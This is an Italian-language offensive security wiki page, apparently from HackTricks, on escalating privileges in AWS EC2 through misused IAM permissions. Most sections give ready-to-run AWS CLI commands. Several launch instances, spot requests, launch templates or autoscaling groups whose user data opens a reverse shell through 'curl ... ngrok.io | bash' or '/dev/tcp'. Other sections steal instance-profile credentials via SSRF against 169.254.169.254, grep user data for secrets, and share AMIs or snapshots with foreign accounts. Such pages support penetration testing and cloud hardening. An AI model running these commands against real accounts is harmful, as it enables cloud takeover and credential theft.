# AWS - EC2 Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## EC2

Per maggiori **informazioni su EC2** consulta:

{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}

### `iam:PassRole`, `ec2:RunInstances`

Un attaccante potrebbe **creare un'istanza assegnandole un ruolo IAM e poi accedere all'istanza** per rubare le credenziali del ruolo IAM dall'endpoint dei metadati.

- **Accesso via SSH**

Avvia una nuova istanza usando una **ssh key** **creata** (`--key-name`) e poi connettiti via ssh (se vuoi crearne una nuova potresti aver bisogno del permesso `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
```
- **Accesso via rev shell in user data**

Puoi avviare una nuova instance usando una **user data** (`--user-data`) che ti aprirà una **rev shell**. Non è necessario specificare il security group in questo modo.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
Fai attenzione a GuradDuty se usi le credenziali dell'IAM role al di fuori dell'istanza:

{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}

**Impatto potenziale:** Privesc diretto a qualsiasi EC2 role attached to existing instance profiles.

#### Privesc a ECS

Con questo set di permessi potresti anche **create an EC2 instance and register it inside an ECS cluster**. In questo modo, ECS **services** verranno **run** all'interno dell'**EC2 instance** a cui hai accesso e poi puoi penetrare quei servizi (docker containers) e **steal their ECS roles attached**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
Per sapere come **forzare l'esecuzione dei servizi ECS in questa nuova istanza EC2** controlla:

{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}

Se **non puoi creare una nuova istanza** ma hai il permesso `ecs:RegisterContainerInstance` potresti essere in grado di registrare l'istanza all'interno del cluster ed eseguire l'attacco descritto.

**Impatto potenziale:** privesc diretto ai ruoli ECS associati ai task.

### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**

Simile allo scenario precedente, un attaccante con questi permessi potrebbe **modificare il ruolo IAM di un'istanza compromessa** così da poter rubare nuove credenziali.  
Poiché un instance profile può avere solo 1 ruolo, se l'instance profile **ha già un ruolo** (caso comune), avrai anche bisogno di **`iam:RemoveRoleFromInstanceProfile`**.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
Se l'**instance profile ha un role** e l'attaccante **non può rimuoverlo**, c'è un'altra soluzione. Potrebbe **trovare** un **instance profile senza role** o **crearne uno nuovo** (`iam:CreateInstanceProfile`), **aggiungere** il **role** a quell'**instance profile** (come discusso in precedenza), e **associare l'instance profile** compromised a un i**nstance:**

- Se l'instance **non ha alcun instance** profile (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Impatto potenziale:** Privesc diretto a un ruolo EC2 diverso (devi aver compromesso un'istanza AWS EC2 e avere permessi aggiuntivi o uno specifico stato dell'instance profile).

### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)

Con questi permessi è possibile cambiare l'instance profile associato a un'istanza, quindi se l'attaccante aveva già accesso a un'istanza potrà rubare credenziali per più instance profile roles modificando quello associato.

- Se **ha un instance profile**, puoi **rimuovere** l'instance profile (`ec2:DisassociateIamInstanceProfile`) e **associarlo**
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- oppure **sostituire** il **instance profile** dell'istanza compromessa (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
**Impatto potenziale:** Privesc diretto a un diverso EC2 role (è necessario aver compromesso una AWS EC2 instance e avere qualche permesso extra o uno specifico instance profile status).

### `ec2:RequestSpotInstances`,`iam:PassRole`

Un attacker con i permessi **`ec2:RequestSpotInstances`and`iam:PassRole`** può **richiedere** una **Spot Instance** con un **EC2 Role attached** e una **rev shell** nel **user data**.\
Una volta che l'istanza è avviata, può **rubare l'IAM role**.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
```
### `ec2:ModifyInstanceAttribute`

Un attaccante con la **`ec2:ModifyInstanceAttribute`** può modificare gli attributi dell'istanza. Tra questi, può **change the user data**, il che implica che può far **run arbitrary data** sull'istanza. Questo può essere usato per ottenere una **rev shell to the EC2 instance**.

Nota che gli attributi possono essere **modificati solo mentre l'istanza è ferma**, quindi sono necessarie le **autorizzazioni** **`ec2:StopInstances`** e **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID
```
**Potential Impact:** privesc diretto a qualsiasi EC2 IAM Role associato a un'istanza creata.

### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`

Un attaccante con i permessi **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** può creare una **nuova versione del Launch Template** con una **rev shell nel** **user data** e **qualsiasi EC2 IAM Role su di essa**, cambiare la versione di default, e **qualsiasi Autoscaler group** **using** quel **Launch Template** che è **configurato** per usare la **latest** o la **default version** **riavvierà le istanze** usando quel template ed eseguirà la rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
**Impatto potenziale:** Privesc diretto a un EC2 role diverso.

### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`),  `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)

Un attaccante con i permessi **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** può **creare una Launch Configuration** con un **IAM Role** e una **rev shell** all'interno dei **user data**, poi **creare un autoscaling group** da quella config e attendere che la **rev shell** riesca a **rubare l'IAM Role**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
**Potenziale impatto:** Direct privesc to a different EC2 role.

### `!autoscaling`

Il set di permessi **`ec2:CreateLaunchTemplate`** e **`autoscaling:CreateAutoScalingGroup`** **non è sufficiente per escalare** i privilegi a un IAM role perché, per associare il role specificato nella Launch Configuration o nella Launch Template, **sono necessari i permessi `iam:PassRole` e `ec2:RunInstances`** (che è un privesc noto).

### `ec2-instance-connect:SendSSHPublicKey`

Un attaccante con il permesso **`ec2-instance-connect:SendSSHPublicKey`** può aggiungere una chiave ssh a un utente e usarla per accedervi (se ha accesso ssh all'istanza) o per escalare i privilegi.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
**Impatto potenziale:** Privesc diretto alle EC2 IAM roles associate alle istanze in esecuzione.

### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`

Un attaccante con il permesso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** può **aggiungere una ssh key a una connessione seriale**. Se la console seriale non è abilitata, l'attaccante ha bisogno del permesso **`ec2:EnableSerialConsoleAccess` per abilitarla**.

Per connettersi alla porta seriale è inoltre necessario **conoscere lo username e la password di un utente** all'interno della macchina.
```bash
aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
Questo metodo non è molto utile per il privesc poiché è necessario conoscere uno username e una password per sfruttarlo.

**Impatto potenziale:** (Altamente non verificabile) Accesso diretto di privesc ai EC2 IAM roles associati alle istanze in esecuzione.

### `describe-launch-templates`,`describe-launch-template-versions`

Poiché i launch templates hanno versioning, un attaccante con le autorizzazioni **`ec2:describe-launch-templates`** e **`ec2:describe-launch-template-versions`** potrebbe sfruttarli per scoprire informazioni sensibili, come credenziali presenti nei user data. Per fare ciò, lo script seguente scorre tutte le versioni dei launch template disponibili:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done
```
Nei comandi sopra, anche se stiamo specificando alcuni pattern (`aws_|password|token|api`), puoi usare una regex diversa per cercare altri tipi di informazioni sensibili.

Se troviamo `aws_access_key_id` e `aws_secret_access_key`, possiamo usare queste credenziali per autenticarsi su AWS.

**Potenziale impatto:** Escalation diretta dei privilegi a IAM user(s).

## Riferimenti

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)






### `ec2:ModifyInstanceMetadataOptions` (downgrade di IMDS per abilitare il furto di credenziali via SSRF)

Un attaccante con la capacità di chiamare `ec2:ModifyInstanceMetadataOptions` su un'istanza EC2 vittima può indebolire le protezioni IMDS abilitando IMDSv1 (`HttpTokens=optional`) e aumentando il `HttpPutResponseHopLimit`. Questo rende l'endpoint dei metadata dell'istanza raggiungibile tramite percorsi SSRF/proxy comuni da applicazioni in esecuzione sull'istanza. Se l'attaccante può innescare una SSRF in tale app, può recuperare le credenziali dell'instance profile e pivotare con esse.

- Permessi richiesti: `ec2:ModifyInstanceMetadataOptions` sull'istanza target (più la capacità di raggiungere/innescare una SSRF sull'host).
- Risorsa target: l'istanza EC2 in esecuzione con un instance profile allegato (IAM role).

Esempio di comandi:
```bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
--query 'Reservations[0].Instances[0].MetadataOptions'

# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-endpoint enabled --http-tokens optional \
--http-put-response-hop-limit 3 --instance-metadata-tags enabled

# 3) Through the SSRF, enumerate role name
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 4) Through the SSRF, steal the temporary credentials
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"

# 5) Use the stolen credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity

# 6) Restore protections (require IMDSv2, low hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1
```
Impatto potenziale: Theft of instance profile credentials via SSRF leading to privilege escalation and lateral movement with the EC2 role permissions.

### `ec2:ModifyInstanceMetadataOptions`

Un attaccante con il permesso ec2:ModifyInstanceMetadataOptions può indebolire le protezioni dell'Instance Metadata Service (IMDS) — per esempio forzando IMDSv1 (rendendo HttpTokens non obbligatori) o aumentando HttpPutResponseHopLimit — facilitando così l'esfiltrazione di credenziali temporanee. Il vettore di rischio più rilevante è l'aumento di HttpPutResponseHopLimit: aumentando quel hop limit (TTL), l'endpoint 169.254.169.254 cessa di essere strettamente limitato al network namespace della VM e può diventare raggiungibile da altri processi/containers, consentendo il furto di credenziali.
```bash
aws ec2 modify-instance-metadata-options \
--instance-id <INSTANCE_ID> \
--http-tokens optional \
--http-endpoint enabled \
--http-put-response-hop-limit 2
```
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`

Un attaccante con i permessi `ec2:ModifyImageAttribute` e `ec2:ModifySnapshotAttribute` può condividere AMI o snapshot con altri account AWS (o addirittura renderli pubblici), esponendo immagini o volumi che possono contenere dati sensibili come configurazioni, credenziali, certificati o backup. Modificando le launch permissions di un AMI o le create-volume permissions di uno snapshot, l'attaccante permette a terzi di avviare istanze o montare dischi da quelle risorse e accedere ai loro contenuti.

Per condividere un AMI con un altro account:
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
Per condividere un EBS snapshot con un altro account:
```bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
{{#include ../../../../banners/hacktricks-training.md}}
